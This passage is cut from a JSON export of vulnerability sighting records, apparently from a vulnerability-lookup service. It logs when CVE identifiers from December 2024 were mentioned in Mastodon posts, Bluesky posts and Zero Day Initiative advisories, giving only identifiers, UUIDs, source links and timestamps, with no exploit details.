"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12523", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649662249604096", "content": "", "creation_timestamp": "2024-12-14T06:03:43.927850Z"}, {"uuid": "476e3cc6-fd79-413b-82cf-824e1bf63c0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12555", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649662264031310", "content": "", "creation_timestamp": "2024-12-14T06:03:44.145163Z"}, {"uuid": "48a16987-9c3c-4509-851f-00bc67998b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12578", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649721265727065", "content": "", "creation_timestamp": "2024-12-14T06:18:44.452550Z"}, {"uuid": "56ba19e9-0657-4ca7-843b-7eaf74d6cf8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12446", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649903596329602", "content": "", "creation_timestamp": "2024-12-14T07:05:07.392106Z"}, {"uuid": "58f3e522-c3a9-49a6-86cc-fccf249f4040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12628", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113649903611070324", "content": "", "creation_timestamp": "2024-12-14T07:05:07.642788Z"}, {"uuid": "5d7315c3-c14b-47ba-8533-cad937341713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12632", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/113656947909919073", "content": "", "creation_timestamp": "2024-12-15T12:56:36.055788Z"}, {"uuid": "a2b8ed4d-bdff-4374-8b06-cce97d2e840d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12644", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113661174616006257", "content": "", "creation_timestamp": "2024-12-16T06:51:29.214024Z"}, {"uuid": "e4095f14-6b75-4dda-a0a2-723c86bd2396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12645", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113661174631706111", "content": "", "creation_timestamp": "2024-12-16T06:51:29.279144Z"}, {"uuid": "abd7145e-9330-482b-a8da-66a831ce8aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12646", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113661200226119510", "content": "", "creation_timestamp": "2024-12-16T06:57:59.408497Z"}, {"uuid": "162a6cfc-0646-4b3f-a0a2-71ad934f38fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12663", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664073754598762", "content": "", "creation_timestamp": "2024-12-16T19:08:46.123576Z"}, {"uuid": "954b4188-712f-4dda-89e2-7323703a0adc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12687", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664112454828460", "content": "", "creation_timestamp": "2024-12-16T19:18:36.449518Z"}, {"uuid": "5c7af6bd-7db6-45ce-ae06-c456f244e037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12664", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664164593104440", "content": "", "creation_timestamp": "2024-12-16T19:31:51.943615Z"}, {"uuid": "2005e558-acc6-4d03-8876-b9fd61a8b742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12665", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664164608055811", "content": "", "creation_timestamp": "2024-12-16T19:31:52.819380Z"}, {"uuid": "8fdf56b2-769b-40c5-823c-9da0985046fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12666", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664290594036492", "content": "", "creation_timestamp": "2024-12-16T20:03:54.632284Z"}, {"uuid": "78d8f9a7-6dc0-4ef1-a221-62ce980894c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12667", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664290608812481", "content": "", "creation_timestamp": "2024-12-16T20:03:54.865369Z"}, {"uuid": "afe56e3a-a9d6-4025-95b1-dfa27069215b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12239", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113665755575744452", "content": "", "creation_timestamp": "2024-12-17T02:16:28.510381Z"}, {"uuid": "39987bc3-52b4-4d22-ac3e-b7efdaf0d12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113666290051812274", "content": "", "creation_timestamp": "2024-12-17T04:32:23.865200Z"}, {"uuid": "29288f59-049b-4886-b5c7-26a3c2cce5d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113674781797208347", "content": "", "creation_timestamp": "2024-12-18T16:31:59.907945Z"}, {"uuid": "c68e49a5-26c4-471a-9b8a-6e2d5018d271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoyudymcj23", "content": "", "creation_timestamp": "2024-12-19T23:15:27.849516Z"}, {"uuid": "8903ca3d-fb3c-47ec-87c4-1f22228c1718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/volk149.bsky.social/post/3ldpqyjuqdc2u", "content": "", "creation_timestamp": "2024-12-20T06:27:22.478750Z"}, {"uuid": "5fa6230b-e276-443c-b8db-bc32f96e5058", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/volk149.bsky.social/post/3ldpqyjuqdc2u", "content": "", "creation_timestamp": "2024-12-20T06:27:22.582347Z"}, {"uuid": "0975da65-a559-46ea-bdfb-9c28cdae5762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1723/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "aaf1b252-5510-4d36-8ec2-945b500a59af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12843", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113687068606536471", "content": "", "creation_timestamp": "2024-12-20T20:36:39.422528Z"}, {"uuid": "d539ebad-25b8-4158-9073-0bd6cf161862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12262", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689636551845442", "content": "", "creation_timestamp": "2024-12-21T07:29:43.521499Z"}, {"uuid": "092bf12f-7e48-4923-ac3b-6eb7f15cef9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12635", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689636570707300", "content": "", "creation_timestamp": "2024-12-21T07:29:45.799506Z"}, {"uuid": "65071096-580a-4233-af26-b3162f3835af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12875", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690566969863839", "content": "", "creation_timestamp": "2024-12-21T11:26:20.406582Z"}, {"uuid": "ad625530-faf5-4ec5-8e26-c2a91ea6d9d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113680642347342261", "content": "", "creation_timestamp": "2024-12-19T17:22:24.433402Z"}, {"uuid": "1389a75c-a677-4069-90de-870b3987383a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113680642347342261", "content": "", "creation_timestamp": "2024-12-19T17:22:24.489583Z"}, {"uuid": "3106f746-fdf9-4fa3-8751-d96e9d20d865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/volk149.bsky.social/post/3ldpqyjuqdc2u", "content": "", "creation_timestamp": "2024-12-20T06:27:22.535668Z"}, {"uuid": "8208fca2-f02f-4d3b-b86c-3bc1c3081a24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldq5jvrhp22t", "content": "", "creation_timestamp": "2024-12-20T10:11:46.623970Z"}, {"uuid": "584bc242-013c-4a7f-ab13-a36bc7d5a6a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/xc0py.bsky.social/post/3ldr2obdoqk25", "content": "", "creation_timestamp": "2024-12-20T18:53:26.545883Z"}, {"uuid": "77e3d457-66eb-440c-aa86-35c704860ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1722/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "ece8ef78-c8cb-4e8f-a9e4-4427e3c0520d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12844", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113687193668589108", "content": "", "creation_timestamp": "2024-12-20T21:08:27.904595Z"}, {"uuid": "2e7ab1e9-026a-4c7a-9ff9-b39519338380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113676331494635354", "content": "", "creation_timestamp": "2024-12-18T23:06:04.082440Z"}, {"uuid": "d53e1b0e-6bfb-45d1-b7f5-1db3af6ab4bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679517721524504", "content": "", "creation_timestamp": "2024-12-19T12:36:22.208771Z"}, {"uuid": "afcbaa49-37a6-4880-b277-e2f16b863593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldo2owrgul2v", "content": "", "creation_timestamp": "2024-12-19T14:15:33.858940Z"}, {"uuid": "c2e4a5ae-fd76-4560-8a6d-4cd62beb0877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681389646115127", "content": "", "creation_timestamp": "2024-12-19T20:32:25.579879Z"}, {"uuid": "1cdf83d2-2045-4372-ae54-dfe99b29e25b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12678", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldpcwibgf52z", "content": "", "creation_timestamp": "2024-12-20T02:15:37.647890Z"}, {"uuid": "873aae53-7623-4311-841d-1b23e75bff08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldpmui2i3s2u", "content": "", "creation_timestamp": "2024-12-20T05:13:27.151421Z"}, {"uuid": "4d7ff2c9-879a-4564-8973-087680d5bcf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldq5jvrhp22t", "content": "", "creation_timestamp": "2024-12-20T10:11:46.672059Z"}, {"uuid": "df2f8e9f-1dac-45eb-8e79-ca8246bee2e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldqlb62lf62g", "content": "", "creation_timestamp": "2024-12-20T14:17:25.059878Z"}, {"uuid": "737453f8-9b3b-4400-9075-9179f87265b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12372", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldqlb62lf62g", "content": "", "creation_timestamp": "2024-12-20T14:17:25.108178Z"}, {"uuid": "cca022bc-4f33-41e6-afac-457d7f1ffc95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12373", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldqlb62lf62g", "content": "", "creation_timestamp": "2024-12-20T14:17:25.145606Z"}, {"uuid": "bc83f820-bb82-4087-8fe3-b3796038d7c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676028499435854", "content": "", "creation_timestamp": "2024-12-18T21:49:00.864594Z"}, {"uuid": "6552e5fa-7e8a-47e5-9a6d-f07f4789b21f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679517755737386", "content": "", "creation_timestamp": "2024-12-19T12:36:22.654053Z"}, {"uuid": "ca274af4-4715-4a2b-9a31-763ef5b5d64e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12791", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680696928009298", "content": "", "creation_timestamp": "2024-12-19T17:36:15.871293Z"}, {"uuid": "dec8cd52-7ee7-4da0-b7ff-d96c9b7c7bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12792", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680696964231045", "content": "", "creation_timestamp": "2024-12-19T17:36:16.008407Z"}, {"uuid": "faeb5cb2-c5c6-4d64-97b5-b9dc94e53478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3ldoxoujerv2b", "content": "", "creation_timestamp": "2024-12-19T22:54:29.964583Z"}, {"uuid": "6b7932c3-a50e-44d8-b5d2-53e6baf9c187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113675448862003579", "content": "", "creation_timestamp": "2024-12-18T19:21:36.241164Z"}, {"uuid": "8da026de-6493-4e74-b62a-79e7d7650c78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676028514613991", "content": "", "creation_timestamp": "2024-12-18T21:49:01.169203Z"}, {"uuid": "c905d83a-8bd2-4a94-808b-e15869c30df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12121", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113677125841932115", "content": "", "creation_timestamp": "2024-12-19T02:28:05.061224Z"}, {"uuid": "9e28a56f-1e2b-449b-af77-acb87efac49e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3ldoxoxkp252b", "content": "", "creation_timestamp": "2024-12-19T22:54:33.792123Z"}, {"uuid": "1eb8760a-5961-43f7-8377-0b3b4dcdaa5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldpna7ekec2u", "content": "", "creation_timestamp": "2024-12-20T05:20:01.656310Z"}, {"uuid": "5785f7dd-7077-40de-9ab0-50978f5c18f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldq5pz3vek2l", "content": "", "creation_timestamp": "2024-12-20T10:15:10.743933Z"}, {"uuid": "fe88edf4-e021-4fb1-b755-d127636dc7e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12840", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113685957532019218", "content": "", "creation_timestamp": "2024-12-20T15:54:05.866077Z"}, {"uuid": "3600006b-164f-4994-acab-f8c939735de2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/xc0py.bsky.social/post/3ldr2obdoqk25", "content": "", "creation_timestamp": "2024-12-20T18:53:26.601260Z"}, {"uuid": "ee5ec356-6002-4f37-8320-53db40b2a41e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1721/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "2048690e-793e-4934-9023-7923cba10e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12843", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrcmlci7z2m", "content": "", "creation_timestamp": "2024-12-20T21:15:24.260504Z"}, {"uuid": "f8032456-4e80-4146-b781-6cde53fa5c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3ldsbcjcoy72s", "content": "", "creation_timestamp": "2024-12-21T06:24:32.094071Z"}, {"uuid": "b4221bb3-72aa-4a2e-a12e-c6e5221f4790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3ldsbcjcoy72s", "content": "", "creation_timestamp": "2024-12-21T06:24:32.126460Z"}, {"uuid": "9d9ea26a-c9c1-492f-a9c4-4da4e8afe213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12408", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690099399569893", "content": "", "creation_timestamp": "2024-12-21T09:27:25.967864Z"}, {"uuid": "040843e0-ad54-494c-bd54-766f1d02f2ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12875", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldsuwi5ii425", "content": "", "creation_timestamp": "2024-12-21T12:15:43.356868Z"}, {"uuid": "8fb0c881-02dd-45e7-88fb-046251ca83ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12891", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113695079190648858", "content": "", "creation_timestamp": "2024-12-22T06:33:51.338366Z"}, {"uuid": "f7a39aba-e6a9-4b8e-8dc3-37b875d3e2a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676028529416984", "content": "", "creation_timestamp": "2024-12-18T21:49:01.487018Z"}, {"uuid": "102aa0a2-47fa-4dcf-ba77-9d7ba717e255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113676384453645263", "content": "", "creation_timestamp": "2024-12-18T23:19:32.301604Z"}, {"uuid": "47090411-a33e-42a0-a6df-d77164a87c87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12787", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldobfgszxk2x", "content": "", "creation_timestamp": "2024-12-19T16:15:31.368845Z"}, {"uuid": "191ab3ab-6a05-4396-97aa-7076f9eb168d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681467208621916", "content": "", "creation_timestamp": "2024-12-19T20:52:09.043276Z"}, {"uuid": "edb6600b-388e-47ee-8ba0-e5e6c4525347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681954145772118", "content": "", "creation_timestamp": "2024-12-19T22:55:59.101353Z"}, {"uuid": "49e34e33-c47a-417d-8700-274d36b11ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12829", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682309281147356", "content": "", "creation_timestamp": "2024-12-20T00:26:18.039602Z"}, {"uuid": "c93ab0bb-f89f-441f-98f8-ea6d368b9b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12832", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682309323361191", "content": "", "creation_timestamp": "2024-12-20T00:26:18.708178Z"}, {"uuid": "c9138e42-0823-4306-8ebf-a35f4395a97c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ldpofs5zh224", "content": "", "creation_timestamp": "2024-12-20T05:41:01.914823Z"}, {"uuid": "2e2ac258-e333-4a8c-87a4-5d8955fd84c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldq5syz3ac2l", "content": "", "creation_timestamp": "2024-12-20T10:16:51.492178Z"}, {"uuid": "c68f4d69-dd0a-4397-a601-8e9b770ada27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113685992465948642", "content": "", "creation_timestamp": "2024-12-20T16:02:59.032343Z"}, {"uuid": "12d4f14d-ae8c-4b49-af4d-bcd15f331c0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113685992465948642", "content": "", "creation_timestamp": "2024-12-20T16:02:59.062964Z"}, {"uuid": "5d032f96-3068-4138-a8a9-b2e0ef958c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113685992465948642", "content": "", "creation_timestamp": "2024-12-20T16:02:59.088510Z"}, {"uuid": "168af6f9-3df4-4576-9382-53fb8a3a8a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/xc0py.bsky.social/post/3ldr2obdoqk25", "content": "", 